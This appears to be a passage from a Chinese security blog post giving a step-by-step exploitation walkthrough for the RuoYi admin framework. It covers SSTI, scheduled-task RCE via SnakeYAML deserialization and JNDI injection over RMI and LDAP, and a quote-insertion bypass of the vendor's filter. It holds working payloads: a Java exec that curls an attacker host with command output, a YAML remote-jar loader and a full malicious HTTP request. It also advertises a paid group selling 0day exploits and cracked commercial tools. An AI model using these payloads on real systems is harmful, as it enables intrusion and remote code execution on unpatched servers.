|
||||
四个接口的攻击方式一致,payload一致
|
||||
#### 接口/monitor/cache/getKeys
|
||||
|
||||

|
||||
#### 接口/monitor/cache/getValue
|
||||
|
||||

|
||||
#### 接口/demo/form/localrefresh/task
|
||||
|
||||

|
||||
|
||||
修复:
|
||||
在RuoYi-4.7.2版本中,使用了thymeleaf版本3.0.14.RELEASE已无法再进行注入。
|
||||
## 定时任务远程RCE(<V-4.7.2)
|
||||
> 需要注意的是由于是从远程加载类,通常只加载一次后,就会缓存该类,之后不会再加载,因此若在测试过程中,命令没有执行成功,可重新创建定时任务,更换端口等操作多次尝试。
|
||||
|
||||
### SnakeYaml 反序列化
|
||||
#### 简介
|
||||
- 通常只要引用了
|
||||
Snakeyaml
|
||||
包的几乎都可进行反序列化
|
||||
|
||||
- 可查看代码是否调用
|
||||
**new Yaml()**
|
||||
;
|
||||
|
||||

|
||||
#### 漏洞复现(V-4.2)
|
||||
- 下载yaml反序列化payload
|
||||
工具
|
||||
|
||||
- 该工具是通过org.yaml.snakeyaml.Yaml类来加载远程的类,通过远程类重写AwesomeScriptEngineFactory类,以此来达到执行远程恶意命令的目的。
|
||||
|
||||
下载完工具后将
|
||||
```
|
||||
src/artsploit/AwesomeScriptEngineFactory.java
|
||||
```
|
||||
|
||||
文件中的
|
||||
**Runtime**
|
||||
执行语句改为你要执行的命令
|
||||
|
||||

|
||||
|
||||
eg:
|
||||
```
|
||||
curl http://192.168.31.246:7000?CMDEcho=$(whoami)
|
||||
```
|
||||
- 地址为启动任意启动的http服务,或者dnslog都可(主要用于命令回显)
|
||||
|
||||
- 除此之外,我们需要使用
|
||||
$()
|
||||
命令替换,用于命令回显,因此我们改写一下命令执行函数。
|
||||
|
||||
- 改写方法如图
|
||||
|
||||

|
||||
```
|
||||
String[] cmd = {
|
||||
"/bin/bash",
|
||||
"-c",
|
||||
"curl http://192.168.31.246:7000?echo=$(whoami)"
|
||||
};
|
||||
Runtime.getRuntime().exec(cmd);
|
||||
```
|
||||
- 在工具根目录 编写yaml-payload.yml文件
|
||||
|
||||
```
|
||||
!!javax.script.ScriptEngineManager [
|
||||
!!java.net.URLClassLoader [[
|
||||
!!java.net.URL ["http://192.168.31.246:8000/yaml-payload.jar"]
|
||||
]]
|
||||
]
|
||||
```
|
||||
- 使用JAVA编译该文件,并且打包为jar,命令如下
|
||||
|
||||
|
||||
```
|
||||
$ javac src/artsploit/AwesomeScriptEngineFactory.java
|
||||
$ jar -cvf yaml-payload.jar -C src/ .
|
||||
```
|
||||
|
||||
- 然后在该位置使用python开启http服务,用于远程加载该jar文件
|
||||
|
||||

|
||||
- 添加定时任务加载jar包
|
||||
|
||||
- 目标字符串
|
||||
|
||||
```
|
||||
org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://192.168.31.246:8000/yaml-payload.jar"]]]]‘)
|
||||
```
|
||||
- cron表达式
|
||||
**0/10 **** ?**
|
||||
|
||||

|
||||
- 定时任务请求包
|
||||
|
||||
```
|
||||
POST /monitor/job/edit HTTP/1.1
|
||||
Host: 192.168.31.209
|
||||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
|
||||
Accept: application/json, text/javascript, */*; q=0.01
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||||
X-Requested-With: XMLHttpRequest
|
||||
Content-Length: 340
|
||||
Origin: http://192.168.31.209
|
||||
Connection: close
|
||||
Referer: http://192.168.31.209/monitor/job/edit/112
|
||||
Cookie: JSESSIONID=8fb6fb64-75c1-47ca-a145-0b7dd67ec5a2
|
||||
jobId=112&updateBy=admin&jobName=RCE12&jobGroup=DEFAULT&invokeTarget=org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager+%5B!!java.net.URLClassLoader+%5B%5B!!java.net.URL+%5B%22http%3A%2F%2F192.168.31.246%3A8000%2Fyaml-payload.jar%22%5D%5D%5D%5D')&cronExpression=0%2F10+*+*+*+*+%3F&misfirePolicy=2&concurrent=1&status=1&remark=
|
||||
```
|
||||
- 创建任务后点击执行
|
||||
|
||||

|
||||
- 回显结果如图
|
||||
|
||||

|
||||
### JNDI注入
|
||||
#### 简介
|
||||
- 通过JNDI远程加载恶意类
|
||||
|
||||
- 这次我们使用windows开发环境进行测试
|
||||
|
||||
- 其次JNDI注入只在低版本JAVA中适用(小于以下版本可用)
|
||||
|
||||
<table><thead><tr style="box-sizing: border-box;"><th style="box-sizing: border-box;"><span cid="n1906" mdtype="table_cell" style="box-sizing: border-box;"></span></th><th style="box-sizing: border-box;"><span cid="n1907" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 16px;">JDK6</span></span></span></span></th><th style="box-sizing: border-box;"><span cid="n1908" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 16px;">JDK7</span></span></span></span></th><th style="box-sizing: border-box;"><span cid="n1909" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 16px;">JDK8</span></span></span></span></th><th style="box-sizing: border-box;"><span cid="n1910" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 16px;">JDK11</span></span></span></span></th></tr></thead><tbody><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n1912" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 16px;">RMI不可用</span></span></span></span></td><td style="box-sizing: border-box;"><span cid="n1913" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 16px;">6u132</span></span></span></span></td><td style="box-sizing: border-box;"><span cid="n1914" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 16px;">7u122</span></span></span></span></td><td style="box-sizing: border-box;"><span cid="n1915" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 16px;">8u113</span></span></span></span></td><td style="box-sizing: border-box;"><span cid="n1916" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 16px;">无</span></span></span></span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;"><span cid="n1918" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 16px;">LDAP不可用</span></span></span></span></td><td style="box-sizing: border-box;"><span cid="n1919" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 16px;">6u221</span></span></span></span></td><td style="box-sizing: border-box;"><span cid="n1920" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 16px;">7u201</span></span></span></span></td><td style="box-sizing: border-box;"><span cid="n1921" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 16px;">8u119</span></span></span></span></td><td style="box-sizing: border-box;"><span cid="n1922" mdtype="table_cell" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span leaf=""><span textstyle="" style="font-size: 16px;">11.0.1</span></span></span></span></td></tr></tbody></table>- 本次我们不再通过命令回显的方式进行测试,而是通过直接在windows中弹出计算器进行测试
|
||||
|
||||
#### 漏洞复现(V-4.2)
|
||||
|
||||
先编译要执行的恶意类****
|
||||
|
||||
**javac Calc.java**
|
||||
```
|
||||
public class Calc{
|
||||
public Calc(){
|
||||
try{
|
||||
Runtime.getRuntime().exec("calc");
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
public static void main(String[] argv){
|
||||
Calc c = new Calc();
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
将Calc.class文件通过python服务暴露
|
||||
**python -m http.server 6000**
|
||||
|
||||

|
||||
|
||||
使用
|
||||
marshalsec
|
||||
工具启动一个
|
||||
RMI服务
|
||||
,链接类指向我们公开的端口
|
||||
下载marshalsec
|
||||
,需要自行编译,或者下载别人已经编译好的
|
||||
jar包
|
||||
##### RMI注入
|
||||
```
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://192.168.10.129:6000/#Calc“ 8888
|
||||
```
|
||||
|
||||
添加一个定时任务通过lookup函数加载远程类
|
||||
|
||||
目标字符串:
|
||||
****
|
||||
```
|
||||
org.springframework.jndi.JndiLocatorDelegate.lookup(‘rmi://192.168.10.129:8888/Calc’)
|
||||
```
|
||||
|
||||
cron表达式:0/10 * * * * ?
|
||||
|
||||

|
||||
|
||||
点击执行任务,弹出计算器,测试成功。
|
||||
|
||||

|
||||
##### LDAP注入
|
||||
|
||||
启动
|
||||
ldap
|
||||
服务
|
||||
```
|
||||
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://192.168.10.129:6000/#Calc“ 8888
|
||||
```
|
||||
|
||||
|
||||
添加一个定时任务通过
|
||||
lookup
|
||||
函数加载远程类
|
||||
|
||||
目标字符串:
|
||||
****
|
||||
```
|
||||
javax.naming.InitialContext.lookup(‘ldap://192.168.10.129:8888/#Calc’)
|
||||
```
|
||||
|
||||
cron表达式:
|
||||
**0/10 **** ?**
|
||||
|
||||
点击执行,弹出计算器,测试成功
|
||||
|
||||

|
||||
### 高版本绕过策略(V-4.6.2-V-4.7.1)
|
||||
|
||||
在V-4.6.2-V-4.7.1版本中RuoYi添加了对
|
||||
ldap
|
||||
和
|
||||
rmi
|
||||
以及
|
||||
http
|
||||
字符串的过滤
|
||||
```
|
||||
ruoyi-quartz\src\main\java\com\ruoyi\quartz\controller\SysJobController.java
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
但是可通过添加”‘“的方式来绕过。
|
||||
|
||||
例如http就可以改为ht’tp,rmi可以改为r’mi,ldap改为l’dap,以此来绕过字符串检测
|
||||
|
||||
没添加”‘“绕过
|
||||
|
||||

|
||||
|
||||
添加”‘“绕过,只需要在协议字符串中间添加一个“’”即可,那么所有目标调用字符串可更改为
|
||||
```
|
||||
rmi:org.springframework.jndi.JndiLocatorDelegate.lookup(‘r’mi://192.168.10.129:8888/Calc’)
|
||||
ldap:javax.naming.InitialContext.lookup(‘ld’ap://192.168.10.129:8888/#Calc’)
|
||||
SnakeYaml:org.yaml.snakeyaml.Yaml.load(‘!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“ht’tp://192.168.31.246:8000/yaml-payload.jar”]]]]’)
|
||||
```
|
||||
|
||||
测试通过,命令执行成功
|
||||
### 修复(V-4.7.2)
|
||||
|
||||
直接对定时任务调用的类进行黑马名单限制
|
||||
|
||||

|
||||
|
||||
ruoyi综合漏洞利用工具下载
|
||||
```
|
||||
https://t.zsxq.com/4hO8t
|
||||
```
|
||||
|
||||
|
||||
**0x03 总结**
|
||||
|
||||
通过代码审计和漏洞复现,发现部分漏洞(如Shiro反序列化、SQL注入)在V-4.6.2及以上版本通过参数过滤或随机密钥得以修复,但SSTI、定时任务RCE等漏洞在特定版本(如V-4.7.1)仍可通过巧妙的绕过手法利用。
|
||||
喜欢这类文章或挖掘SRC技巧文章师傅可以点赞转发支持一下谢谢!后续会更新更多!
|
||||
|
||||
|
||||
**0x04 内部星球VIP介绍V1.4(更多未公开挖洞技术欢迎加入星球)**
|
||||
|
||||
|
||||
**如果你想学习更多另类渗透SRC挖洞技术/攻防/免杀/应急溯源/赏金赚取/工作内推/欢迎加入我们内部星球可获得内部工具字典和享受内部资源/内部群。**
|
||||
|
||||
1.每周更新1day/0day漏洞刷分上分,目前已更新至4000+
|
||||
|
||||
2.包含网上一些付费工具/各种插件BurpSuite漏洞检测插件/
|
||||
fuzz字典
|
||||
等等
|
||||
|
||||
3.Fofa会员Ctfshow各种账号会员共享等等
|
||||
|
||||
4.最新SRC挖掘/红队/代审/免杀/逆向视频资源等等
|
||||
|
||||
5.2025
|
||||
HW漏洞POC/EXP分享地址:
|
||||
|
||||
https://t.zsxq.com/Faujy
|
||||
|
||||
...
|
||||
|
||||
6.详情直接点击下方链接进入了解,后台回复"
|
||||
星球
|
||||
"获取优惠先到先得!后续资源会更丰富在加入还是低价!(即将涨价)以上仅介绍部分内容还没完!**点击下方地址全面了解👇🏻**
|
||||
|
||||
|
||||
**👉****点击了解加入-->>2025内部VIP星球福利介绍V1.4版本-1day/0day漏洞库及内部资源更新**
|
||||
|
||||
|
||||
结尾
|
||||
|
||||
# 免责声明
|
||||
|
||||
|
||||
# 获取方法
|
||||
|
||||
|
||||
回复“**app**
|
||||
" 获取 app渗透和app抓包教程
|
||||
|
||||
回复“**渗透字典**
|
||||
" 获取 一些字典已重新划分处理**(需要内部专属fuzz字典可加入星球获取,内部字典多年积累整理好用!持续整理中!)**
|
||||
|
||||
回复“**书籍**
|
||||
" 获取 网络安全相关经典书籍电子版pdf
|
||||
|
||||
# 最后必看
|
||||
|
||||
|
||||
|
||||
文章中的案例或工具仅面向合法授权的企业安全建设行为,如您需要测试内容的可用性,请自行搭建靶机环境,勿用于非法行为。如
|
||||
用于其他用途,由使用者承担全部法律及连带责任,与作者和本公众号无关。
|
||||
本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。
|
||||
如您在使用本工具或阅读文章的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。本工具或文章或来源于网络,若有侵权请联系作者删除,请在24小时内删除,请勿用于商业行为,自行查验是否具有后门,切勿相信软件内的广告!
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# 往期推荐
|
||||
|
||||
|
||||
**1.内部VIP知识星球福利介绍V1.4版本0day推送**
|
||||
|
||||
**2.最新Nessus2025.6.9版本下载**
|
||||
|
||||
**3.最新BurpSuite2025.5.1专业版下载**
|
||||
|
||||
**4.最新xray1.9.11高级版下载Windows/Linux**
|
||||
|
||||
**5.最新HCL AppScan_Standard_10.8.0.28408特别版下载**
|
||||
|
||||
渗透安全HackTwo
|
||||
|
||||
微信号:关注公众号获取
|
||||
|
||||
后台回复星球加入:
|
||||
知识星球
|
||||
|
||||
扫码关注 了解更多
|
||||
|
||||

|
||||
|
||||
|
||||
上一篇文章:[全面资产收集流程及方法解析 万字长文窥探信息收集|挖洞技巧](https://mp.weixin.qq.com/s?__biz=Mzg3ODE2MjkxMQ==&mid=2247491574&idx=1&sn=48d865c82a228bd135a035419c765e94&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
喜欢的师傅可以点赞转发支持一下
|
||||
|
||||
Reference in new issue
Block a user